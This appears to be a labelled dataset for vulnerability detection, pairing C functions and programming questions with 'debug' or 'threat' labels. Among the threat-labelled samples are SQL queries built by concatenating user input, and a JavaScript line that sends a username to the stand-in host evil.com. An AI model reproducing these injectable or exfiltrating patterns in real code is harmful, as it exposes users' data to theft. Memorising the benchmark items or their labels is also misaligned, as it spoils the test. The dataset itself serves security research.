problem stringlengths 26 131k | labels class label 2
classes |
|---|---|
static BlockAIOCB *read_quorum_children(QuorumAIOCB *acb)
{
BDRVQuorumState *s = acb->common.bs->opaque;
int i;
for (i = 0; i < s->num_children; i++) {
acb->qcrs[i].buf = qemu_blockalign(s->children[i]->bs, acb->qiov->size);
qemu_iovec_init(&acb->qcrs[i].qiov, acb->qiov->niov);
... | 1threat |
Jenkins Pipeline Jenkinsfile: 'node' and 'pipeline' directives : <p>I am getting started with <a href="https://jenkins.io/doc/book/pipeline/jenkinsfile/" rel="noreferrer">Jenkins declarative Pipeline</a>. From some of the examples I have seen, I notice that the Jenkinsfile is setup with the Pipeline directive:</p>
<pr... | 0debug |
Rails - Can't install RMagick 2.16.0. Can't find MagickWand.h : <p>I appreciate this question has been asked many times before, however I've tried all available answers to no avail. The error log is as follows:</p>
<pre><code>have_header: checking for wand/MagickWand.h... -------------------- no
"gcc -E -I/Users/mark... | 0debug |
How to make ssl errors more verbose for MQTT client? : I have 2 servers, with a very similar installation (one on Debian 8.7, the other on Debian 8.8).
On the first server, when I try to subscribe to a MQTT topic :
mosquitto_sub -h localhost -t test -p 8883 --cafile /etc/mosquitto/certs/selfsigned.pem -d
I... | 0debug |
Updating Xcode on releasing new iOS version : A question always in my mind ,Why its important do download the news version of Xcode while any new ios version release .
Suppose I installed ios 11 in my mobile and i start developing an app with xcode8.3 version (which not support new version of ios i.e 11)
and then i... | 0debug |
cursor.execute('SELECT * FROM users WHERE username = ' + user_input) | 1threat |
Why does malloc seemingly allow me to write over memory? : <p>Why does this not return a segmentation fault 11?</p>
<pre><code>#include <stdio.h>
#include <stdlib.h>
int main(int argc, char const *argv[])
{
char *test;
test = (char*) (malloc(sizeof(char)*3));
test = "foo";
printf("%s\n", ... | 0debug |
static void draw_line(uint8_t *buf, int sx, int sy, int ex, int ey,
int w, int h, int stride, int color)
{
int x, y, fr, f;
sx = av_clip(sx, 0, w - 1);
sy = av_clip(sy, 0, h - 1);
ex = av_clip(ex, 0, w - 1);
ey = av_clip(ey, 0, h - 1);
buf[sy * stride + sx] += c... | 1threat |
def common_in_nested_lists(nestedlist):
result = list(set.intersection(*map(set, nestedlist)))
return result | 0debug |
Is there a way to bulk convert svg files using Android Asset Studio? : <p>I have a large number of svg files I want to convert to xml vector assets for Android.</p>
<p>The documented process is, for each file, File->New->Vector Asset. Then choose the svg file, click Next then Finish.</p>
<p>Is there a faster way? ... | 0debug |
Xcode :Use of unresolved identifier 'metadata' : I have this code, but I have a problem, because it writes me Use of unresolved identifier 'metadata', Thanks in advance! I am a beginner in Xcode, so please explain well!
I got this out of in a youtube tutorial, from zero2launch!
import UIKit
i... | 0debug |
Are ValueTuples suitable as dictionary keys? : <p>I'm thinking this could be a convenient dictionary:</p>
<pre><code>var myDict = new Dictionary<(int, int), bool>();
</code></pre>
<p>What would the hashes look like?<br>
What would the equivalent key type (struct) look like?</p>
| 0debug |
void stw_le_phys(target_phys_addr_t addr, uint32_t val)
{
stw_phys_internal(addr, val, DEVICE_LITTLE_ENDIAN);
}
| 1threat |
static int add_doubles_metadata(int count,
const char *name, const char *sep,
TiffContext *s)
{
char *ap;
int i;
double *dp;
if (bytestream2_get_bytes_left(&s->gb) < count * sizeof(int64_t))
return -1;
dp = av_mallo... | 1threat |
Difference between java.home and JAVA_HOME : <p>In my java code, I have this line <code>System.getProperty("java.home")</code>. In some environments, this returns the same value as what has been set <code>JAVA_HOME</code> as environment variable.</p>
<p>But in some environments, <code>System.getProperty("java.home")</... | 0debug |
Which is the best option? Use an unupdated component in React or try to implement the library in react without the component? : <p>I have found some components that are not updated with the last React version, however, those components work. But I was wondering if those components are not updated would be the best opt... | 0debug |
static int decode_rle(AVCodecContext *avctx, AVFrame *p, GetByteContext *gbc,
int step)
{
int i, j;
int offset = avctx->width * step;
uint8_t *outdata = p->data[0];
for (i = 0; i < avctx->height; i++) {
int size, left, code, pix;
uint8_t *out = outdata;
... | 1threat |
How to echo all values from array in bash : <p>I am making a bash script using dialog. My script make the difference between files in two tar.gz. Each add files are put in an array and each delete files are put in an other array.</p>
<p>All files are add in my two array and when I want echo them it's works</p>
<pre><... | 0debug |
void ff_ivi_recompose53(const IVIPlaneDesc *plane, uint8_t *dst,
const int dst_pitch, const int num_bands)
{
int x, y, indx;
int32_t p0, p1, p2, p3, tmp0, tmp1, tmp2;
int32_t b0_1, b0_2, b1_1, b1_2, b1_3, b2_1, b2_2, b2_3, b2_4, b2_5, b2_6;
int32_t ... | 1threat |
How to Properly Combine TensorFlow's Dataset API and Keras? : <p>Keras' <code>fit_generator()</code> model method expects a generator which produces tuples of the shape (input, targets), where both elements are NumPy arrays. <a href="https://keras.io/models/model/" rel="noreferrer">The documentation</a> seems to imply ... | 0debug |
Proper use of wait and notify methods in java threading : I am new to java multithreading. I created simple producer-consumer pattern using wait and notify but my producer is getting called only once in tbe starting.
class ProducerConsumerWorld{
public void producer() throws InterruptedException{
sy... | 0debug |
My terminal in VSCode has a tiny font after installing zsh and changing font style? : <p>If you look at the vscode terminal - its too tiny. Heres the user settings that I have modified to create this result. I have searched how to change terminal fonts at vscode but I have followed all instructions pertaining to
<co... | 0debug |
static int mov_read_wide(MOVContext *c, ByteIOContext *pb, MOV_atom_t atom)
{
int err;
uint32_t type;
#ifdef DEBUG
print_atom("wide", atom);
debug_indent++;
#endif
if (atom.size < 8)
return 0;
if (get_be32(pb) != 0) {
url_fskip(pb, atom.size - 4);
return 0... | 1threat |
Integrate report from Reporting server 2016 via iframe in SharePoint 2013 : <p>I'm trying to integrate a Report from Reporting Server2016 into our SharePoint2013.<br>
It worked fine with Reporting Server 2012 but not anymore with the new enviroment.<p>
I've alread read a bit around and found out that the Reporting Serv... | 0debug |
static int colo_packet_compare_icmp(Packet *spkt, Packet *ppkt)
{
trace_colo_compare_main("compare icmp");
if (colo_packet_compare_common(ppkt, spkt)) {
trace_colo_compare_icmp_miscompare("primary pkt size",
ppkt->size);
qemu_hexdump((char *)ppk... | 1threat |
How to debug type-level programs : <p>I'm trying to do some hoopy type-level programming, and it just doesn't work. I'm tearing my hair out trying to figure out why the heck GHC utterly fails to infer the type signatures I want.</p>
<p>Is there some way to make GHC <em>tell me</em> what it's doing?</p>
<p>I tried <co... | 0debug |
static int ppc6xx_tlb_check (CPUState *env, mmu_ctx_t *ctx,
target_ulong eaddr, int rw, int access_type)
{
ppc6xx_tlb_t *tlb;
int nr, best, way;
int ret;
best = -1;
ret = -1;
for (way = 0; way < env->nb_ways; way++) {
nr = ppc6xx_tlb_getnum(env, e... | 1threat |
Woocommerce shipping class displayed on product page : Could anyone advise how to display a specific Woocommerce shipping class on an individual product page? Ie. If a product has a "Pickup Only" shipping class, I'd like that to be visible just below the Add to Cart button. All other classes do not need to be display... | 0debug |
void virtio_init_iov_from_pdu(V9fsPDU *pdu, struct iovec **piov,
unsigned int *pniov, bool is_write)
{
V9fsState *s = pdu->s;
V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);
VirtQueueElement *elem = &v->elems[pdu->idx];
if (is_write) {
*piov =... | 1threat |
static void openrisc_pic_cpu_handler(void *opaque, int irq, int level)
{
OpenRISCCPU *cpu = (OpenRISCCPU *)opaque;
CPUState *cs = CPU(cpu);
int i;
uint32_t irq_bit = 1 << irq;
if (irq > 31 || irq < 0) {
return;
}
if (level) {
cpu->env.picsr |= irq_bit;
} el... | 1threat |
What does " rand()% 11" and what's the diffrence between this and "rand()% 10+1"? : <p>I know that rand() generates a random number and that % operator returns the rest of the division but what I don't understand is why do we Have to use it here why can't we just give a max number directly like 10 for example</p>
| 0debug |
Content not displaying on Wordpress : <p>None of my content is displaying when I pull up my website. The only thing that shows is the header and footer. I did not edit the page.php file so I know this can't be it. I made some changes to the css to make the header and footer full-width and suddenly everything was gone. ... | 0debug |
void monitor_init(CharDriverState *chr, int flags)
{
static int is_first_init = 1;
Monitor *mon;
if (is_first_init) {
key_timer = qemu_new_timer(vm_clock, release_keys, NULL);
is_first_init = 0;
}
mon = qemu_mallocz(sizeof(*mon));
mon->chr = chr;
mon->flags = ... | 1threat |
Node update a specific package : <p>I want to update my Browser-sync <strong>without updating all my node packages</strong>. How can I achieve this? My current version of Browser-sync does not have the Browser-sync GUI :(</p>
<pre><code>├─┬ browser-sync@1.9.2
│ ├── browser-sync-client@1.0.2
</code></pre>
| 0debug |
static void parse_presentation_segment(AVCodecContext *avctx,
const uint8_t *buf, int buf_size)
{
PGSSubContext *ctx = avctx->priv_data;
int x, y;
int w = bytestream_get_be16(&buf);
int h = bytestream_get_be16(&buf);
av_dlog(avctx, "Video Dimension... | 1threat |
create a simple bash script 10 random numbers between 1000 and 9999? : #!/bin/bash
clear #Clears the screen to make it easier to read the output
echo -n “Creating a new random four digit PIN for access to the site: “
echo $((RANDOM%8999+1000))
how do I get this to print out 10 random numbers? | 0debug |
Match string in Item : Need to match by String in each item of a list and return the full item.
i have lists and i want to match items of each list by string "Name" and "Address"
['Server: Corp', 'Address: 10.17.2.5\r', '\r', 'Name: b.resolvers.level3.net\r', 'Address: 4.2.2.2\r', '\r', '']
['Se... | 0debug |
Remove an item from a list by shifting all other elements : <p>I want to remove a value from a list to a randomly selected id and shift all element content according to the list is shorter than 1 .</p>
| 0debug |
static int put_flac_codecpriv(AVFormatContext *s, ByteIOContext *pb, AVCodecContext *codec)
{
if (codec->extradata_size < FLAC_STREAMINFO_SIZE) {
av_log(s, AV_LOG_ERROR, "Invalid FLAC extradata\n");
return -1;
} else if (codec->extradata_size == FLAC_STREAMINFO_SIZE) {
... | 1threat |
Is it necessary to create couple program OpenGL? : <p>I'm learning OpenGL and want to create simple program. I want to render different meshes with different shaders. Should I recreate program or I must reuse created program? (program - shader program, created by calling glCreateProgram)</p>
| 0debug |
static void do_address_space_destroy(AddressSpace *as)
{
MemoryListener *listener;
address_space_destroy_dispatch(as);
QTAILQ_FOREACH(listener, &memory_listeners, link) {
assert(listener->address_space_filter != as);
}
flatview_unref(as->current_map);
g_free(as->name);
g_free(as->ioe... | 1threat |
static int parse_channel_expressions(AVFilterContext *ctx,
int expected_nb_channels)
{
EvalContext *eval = ctx->priv;
char *args1 = av_strdup(eval->exprs);
char *expr, *last_expr, *buf;
double (* const *func1)(void *, double) = NULL;
const char * const *fu... | 1threat |
Classes multi functinos : I'm trying to program a sight reading app. Right now I want to be able to input (Num, staff, measure, note, notetype) and print out a note on the sheet music. I created a class "Note" to do this and the function ExNote is supposed to carry out all the functions I need for the translation. Howe... | 0debug |
static int ppc_hash32_check_prot(int prot, int rwx)
{
int ret;
if (rwx == 2) {
if (prot & PAGE_EXEC) {
ret = 0;
} else {
ret = -2;
}
} else if (rwx) {
if (prot & PAGE_WRITE) {
ret = 0;
} else {
ret = -2;
... | 1threat |
Mysql foreign key constraint error when migrate in Laravel : I have create 2 migration file wich on file has a foreign key, when migrate , laravel show this error about
Mysql foreign key constraint error when migrate in Laravel
| 0debug |
How to use componentWillMount() in React Hooks? : <p>In the official docs of React it mentions - </p>
<blockquote>
<p>If you’re familiar with React class lifecycle methods, you can think
of useEffect Hook as componentDidMount, componentDidUpdate, and
componentWillUnmount combined.</p>
</blockquote>
<p>My quest... | 0debug |
query = 'SELECT * FROM customers WHERE email = ' + email_input | 1threat |
Why the list doesn't change? [python] : i have a little problem.
i'm trying to add a value in a ordered list but the list wouldn't change:
def insert(V, x):
if len(V)!=0:
for i in range( 0 , len(V)-1):
if (V[i]<=x)and(V[i+1]>=x):
V=V[0:i+1]+[x]+V[i+1... | 0debug |
get dict value from variable key in ansible : <p>Here is my problem I need to get a dict value from key. But the key is also a var.
For example, I had an ansible role.</p>
<p>In <strong>vars/main.yml</strong>, I defined vars as below:</p>
<pre><code>---
location: "USA"
source: {
"China": "/net/ser... | 0debug |
static void floor_fit(venc_context_t * venc, floor_t * fc, float * coeffs, int * posts, int samples) {
int range = 255 / fc->multiplier + 1;
int i;
for (i = 0; i < fc->values; i++) {
int position = fc->list[fc->list[i].sort].x;
int begin = fc->list[fc->list[FFMAX(i-1, 0)].sort].x;
... | 1threat |
static void ff_h264_idct8_add4_mmx2(uint8_t *dst, const int *block_offset, DCTELEM *block, int stride, const uint8_t nnzc[6*8]){
int i;
for(i=0; i<16; i+=4){
int nnz = nnzc[ scan8[i] ];
if(nnz){
if(nnz==1 && block[i*16]) ff_h264_idct8_dc_add_mmx2(dst + block_offset[i], block + i... | 1threat |
java IO I CREATE A TXT. FILE BUT I CANNOT FIND WHERE IT SAVE : import java.io.*;
public class FileReaderDemo
{
public static void main(String args[])throws Exception
{
File f = new File ("wayback.txt");
f.createNewFile();
System.out.println(f.exists());
}
} | 0debug |
static uint32_t parse_peak(const uint8_t *peak)
{
int64_t val = 0;
int64_t scale = 1;
if (!peak)
return 0;
peak += strspn(peak, " \t");
if (peak[0] == '1' && peak[1] == '.')
return UINT32_MAX;
else if (!(peak[0] == '0' && peak[1] == '.'))
return 0;
... | 1threat |
uint64_t HELPER(neon_abdl_s64)(uint32_t a, uint32_t b)
{
uint64_t result;
DO_ABD(result, a, b, int32_t);
return result;
}
| 1threat |
Java NullPointerException on concatenating Double types but not on String types : <pre><code> Double d1 = null;
Double d2 = null;
System.out.println(d1+d2);//throw NullPointerException
String s1 = null;
String s2 = null;
System.out.println(s1+s2);//doesn't throw any exception prints nullnul... | 0debug |
static void co_read_response(void *opaque)
{
BDRVSheepdogState *s = opaque;
if (!s->co_recv) {
s->co_recv = qemu_coroutine_create(aio_read_response);
}
qemu_coroutine_enter(s->co_recv, opaque);
}
| 1threat |
static int skip_check(MpegEncContext *s, Picture *p, Picture *ref){
int x, y, plane;
int score=0;
int64_t score64=0;
for(plane=0; plane<3; plane++){
const int stride= p->linesize[plane];
const int bw= plane ? 1 : 2;
for(y=0; y<s->mb_height*bw; y++){
for(x=0;... | 1threat |
Find out number of words in a string with alot of special character : I need to find out the number of words in a string. However this string is not the normal type of string. It has alot of special character like < , /em, /p and many more. So most of the method used in stackoverflow does not work. As a result i nee... | 0debug |
How can I find a perfect square in Ruby? : I'm trying to write a method in ruby that checks whether a number is a perfect square.
This is my code at the moment:
def is_square(x)
return true if
math.sqrt(x).is_a? Integer
end
Any idea why it isn't working?
Thanks very much in advance
Sarah | 0debug |
START_TEST(qdict_put_exists_test)
{
int value;
const char *key = "exists";
qdict_put(tests_dict, key, qint_from_int(1));
qdict_put(tests_dict, key, qint_from_int(2));
value = qdict_get_int(tests_dict, key);
fail_unless(value == 2);
fail_unless(qdict_size(tests_dict) == 1);
}
| 1threat |
Python - Not able to store the output of Pattern Package : I am working with Python "Pattern.en" package that gives me the subject, object and other details about a particular sentence.
But I want to store this output into another variable or a Dataframe for further processing which I am not able to do so.
Any in... | 0debug |
static void vc1_overlap_block(MpegEncContext *s, DCTELEM block[64], int n, int do_hor, int do_vert)
{
int i;
if(do_hor) {
}
if(do_vert) {
}
for(i = 0; i < 64; i++)
block[i] += 128;
}
| 1threat |
Django Rest Framework, passing parameters with GET request, classed based views : <p>I would like a user to send a GET request to my Django REST API:</p>
<pre><code>127.0.0.1:8000/model/?radius=5&longitude=50&latitude=55.1214
</code></pre>
<p>with his longitude/latitude and radius, passed in parameters, and g... | 0debug |
is this code correct for finding the sum of squares should be equal to a number given? : def sumofsquares(n):
for i in range(1, n):
for j in range(1, n):
if n == ((i*i)+(j*j)):
return (true)
break
else:
return (false) | 0debug |
Dynamic breadcrumbs using react router : <p>There is very good example of how to make a <a href="https://github.com/rackt/react-router/blob/master/examples/breadcrumbs/app.js" rel="noreferrer">breadcrumbs on site in examples folder of react-router repo</a>. But I'm wondering how to make breadcrumbs with dynamic routes.... | 0debug |
document.location = 'http://evil.com?username=' + user_input; | 1threat |
After update Mac OS Sierra, Can not use ssh login remote system,how can I fix this? : <p>when I use <code>user@ip</code> to login remote system, it report like this:</p>
<pre><code>debug1: /etc/ssh/ssh_config line 17: Applying options for *
/etc/ssh/ssh_config: line 20: Bad configuration option: gssapikeyexchange
/etc... | 0debug |
php html class are corrupted : i'm trying to send an html code to database and then show the code in index.php
this is what i use to send the html code to DB:
$result = " <li>
<a href=$Link class=external item-link item-content>
<div class=item-media><im... | 0debug |
How to grep for case insensitive string in a file? : <p>I have a file <code>file1</code> which ends with
<code>Success...</code> OR
<code>success...</code></p>
<p>I want to <code>grep</code> for the word <code>success</code> in a way which is not case sensitive way.</p>
<p>I have written the following command but it ... | 0debug |
Store \ in java string variable(Special Character) : <h1>I want to store \ in a string variable #</h1>
<p>String var= "\" ;</p>
<pre><code>public class Main
{
public static void main(String[] args) {
String var="\"
System.out.println(var);
}
}
</code></pre>
| 0debug |
Why does unique_ptr instantiation compile to larger binary than raw pointer? : <p>I was always under the impression that a <code>std::unique_ptr</code> had no overhead compared to using a raw pointer. However, compiling the following code</p>
<pre><code>#include <memory>
void raw_pointer() {
int* p = new int[... | 0debug |
How to compress video for upload server? : <p>I'm trying to upload video file to server. But size is too large so how i can compress video before upload to server.
Thank you for your help.</p>
| 0debug |
static av_always_inline int dnxhd_decode_dct_block(const DNXHDContext *ctx,
RowContext *row,
int n,
int index_bits,
... | 1threat |
compile c++ program using g++ in windows command prompt : <p>Why do I always have to go the directory where I have my c++ program saved. Can't I give its path as some argument or something and compile the program from anywhere in command prompt? Is there any such functionality available?</p>
| 0debug |
Program doesn't run. Says I am trying to assign value to a pointer. Please help to fix : I am trying to read file into an array, but the code doesn't run. Says I am trying to assign value to a pointer. Please help to fix
#include <stdio.h>
int main(){
FILE *ifile;
float num;
float... | 0debug |
Requirejs : Non amd library : <p>I have a script.js included in the website of my customer. This customer uses requirejs but he append script.js at the end of the body without explicitly using requirejs to load it.</p>
<p>In script.js i have libraries that are amd compatible and other not. The problem is that requirej... | 0debug |
Get time difference between two times in swift 3 : <p>I have 2 variables where I get 2 times from datePicker and I need to save on a variable the difference between them.</p>
<pre><code> let timeFormatter = DateFormatter()
timeFormatter.dateFormat = "HHmm"
time2 = timeFormatter.date(from: timeFormatter.str... | 0debug |
woocommerce product page - custom link which opens lightbox image : <p>I really would like to have a custom link on the product page which opens a lightbox image. These images should be set somewhere on the product edit page.
I guess it is a bit of coding but should not be that difficult.
Example:
<a href="https://www.... | 0debug |
C Read file content into string just with stdio libary : <p>Im struggleing by trying to read the files content into a string (char*).
I just have to use the stdio.h libary, so I cant allocate memory with malloc.</p>
<p>How can I read all the content of a file and return it into a string?</p>
| 0debug |
void scsi_req_data(SCSIRequest *req, int len)
{
trace_scsi_req_data(req->dev->id, req->lun, req->tag, len);
req->bus->ops->complete(req->bus, SCSI_REASON_DATA, req->tag, len);
}
| 1threat |
Angular2 run Guard after another guard resolved : <p>In my project I have two guards. AuthGuard and PermissionGuard. I need to first AuthGuard runs and when it resolved and if true the permissionGuard begins but now this guards are running parallel and permissionGuard not working well. the way I used for this issue is ... | 0debug |
static struct omap_sti_s *omap_sti_init(struct omap_target_agent_s *ta,
MemoryRegion *sysmem,
hwaddr channel_base, qemu_irq irq, omap_clk clk,
CharDriverState *chr)
{
struct omap_sti_s *s = (struct omap_sti_s *)
g_malloc0(sizeof(struct omap_sti_s));
... | 1threat |
ITSAppUsesNonExemptEncryption export compliance while internal testing? : <p>I got this message while selecting build for internal testing.it says about setting <strong>ITSAppUsesNonExemptEncryption</strong> in info.plist what does it mean? is it necessary?</p>
<p><a href="https://i.stack.imgur.com/M0QBP.png"><img src... | 0debug |
Loading and editing a CSV file in Java into a List<Class> : i'm working on a private project where i need to load a CSV file, keep it in the program and edit if needed.
The file looks like this:
ID;Name;Last Login;RevState;List
157;Guy;"01.11.19";false;"tag, cup, sting"
A60;Dud;"07.10.19";true;"ice, w... | 0debug |
def cube_nums(nums):
cube_nums = list(map(lambda x: x ** 3, nums))
return cube_nums | 0debug |
Is Python `list.extend(iterator)` guaranteed to be lazy? : <h1>Summary</h1>
<p>Suppose I have an <code>iterator</code> that, as elements are consumed from it, performs some side effect, such as modifying a list. If I define a list <code>l</code> and call <code>l.extend(iterator)</code>, is it guaranteed that <code>ex... | 0debug |
how do i get rid of the error in my python 3.0 program? : <p>I don't understand what is wrong with my syntax. its a program to get a long number.
code:</p>
<pre><code>int_num=input('enter digits')
long_num=''
While int_num.isdigit()== True:
long_num= long_num+int_num
int_num=input('enter digits')
print('lo... | 0debug |
find content between two tag python : hi guys I want to extract only the number
"4" in this html code by python beautiful soup what should I do?
<!-- begin snippet: js hide: false console: true babel: false -->
<!-- language: lang-html -->
<ul class="left slider_pinfo">
<li>
... | 0debug |
Why is my SQL statement not returning results? : <p>The desired statement is: </p>
<pre><code>SELECT `id` FROM `user` WHERE `email`='aaa@aaa.com'
</code></pre>
<p>...which returns a single cell as results. </p>
<p>My PDO prepared statement doesn't return anything. What am I missing? </p>
<pre><code>$email = "aaa@... | 0debug |
Gradle Dependecies Command cant find other maven repos : <p>I want to check my projects dependencies but having problem when running </p>
<blockquote>
<p>./gradlew app:dependencies</p>
</blockquote>
<p>Here is the result of terminal.</p>
<p><a href="https://i.stack.imgur.com/T84pV.png" rel="nofollow noreferrer"><i... | 0debug |
how to change offroute distance and timeout ? here maps android sdk : Is there any configuration to change offroute distance threshold and timeout
especially on turning offroutes here maps got a late reroute start. | 0debug |
Need help creating ibm watson conversation : <p>If user enters i want large pizza with topings in ibm watson conversation how does pizza guy know that. Need help iam new to ibm watson</p>
| 0debug |
Got a error during initializing array's element globally outside main function : <p>When I compiled following code:</p>
<pre><code>#include<bits/stdc++.h>
using namespace std;
long int arr[100003],flag=0;
arr[0]=-1;
int main()
{
}
</code></pre>
<p>I got this error: 'arr' does not name a type arr[0]=-1
Please he... | 0debug |
New to testing, how would I test this method with Mocha, Chai, Enzyme, and Sinon? : <p>Here's my method</p>
<pre><code> handleKeyEvent(event) {
const code = event.keyCode;
if (UsedKeys.includes(code)) {
event.preventDefault();
if (code === KeyCodes.DOWN) {
this.modifyIndexBy(1);
} ... | 0debug |
IQKeyboarmanager all part scroll stop only scroll tableview contant : In My Chatting App textFieldDidBeginEditing time Keyboard height auto add using IQKeyboardmanager but that time scroll top all screen . i have reuirement only scroll tableview contact. my navigation header is fix but using this third party scroll all... | 0debug |
static void gen_ldstub_asi(DisasContext *dc, TCGv dst, TCGv addr, int insn)
{
TCGv_i32 r_asi, r_size, r_sign;
TCGv_i64 s64, d64 = tcg_temp_new_i64();
r_asi = gen_get_asi(dc, insn);
r_size = tcg_const_i32(1);
r_sign = tcg_const_i32(0);
gen_helper_ld_asi(d64, cpu_env, addr, r_asi, r_size,... | 1threat |
static void string_output_append_range(StringOutputVisitor *sov,
int64_t s, int64_t e)
{
Range *r = g_malloc0(sizeof(*r));
r->begin = s;
r->end = e + 1;
sov->ranges = range_list_insert(sov->ranges, r);
}
| 1threat |
int rtsp_next_attr_and_value(const char **p, char *attr, int attr_size, char *value, int value_size)
{
skip_spaces(p);
if(**p) {
get_word_sep(attr, attr_size, "=", p);
if (**p == '=')
(*p)++;
get_word_sep(value, value_size, ";", p);
if (**p == ';')
... | 1threat |
query = 'SELECT * FROM customers WHERE email = ' + email_input | 1threat |
How to reset git authentication? : <p>I typed wrong ID (my mistake) and I think my computer's IP is permanently banned. I'd like to un-ban my IP so that I can git clone to my desired git repository. when I tried to git clone my git repository, it says
<code>remote: HTTP Basic: Access denied</code>
<code>fatal: ... | 0debug |
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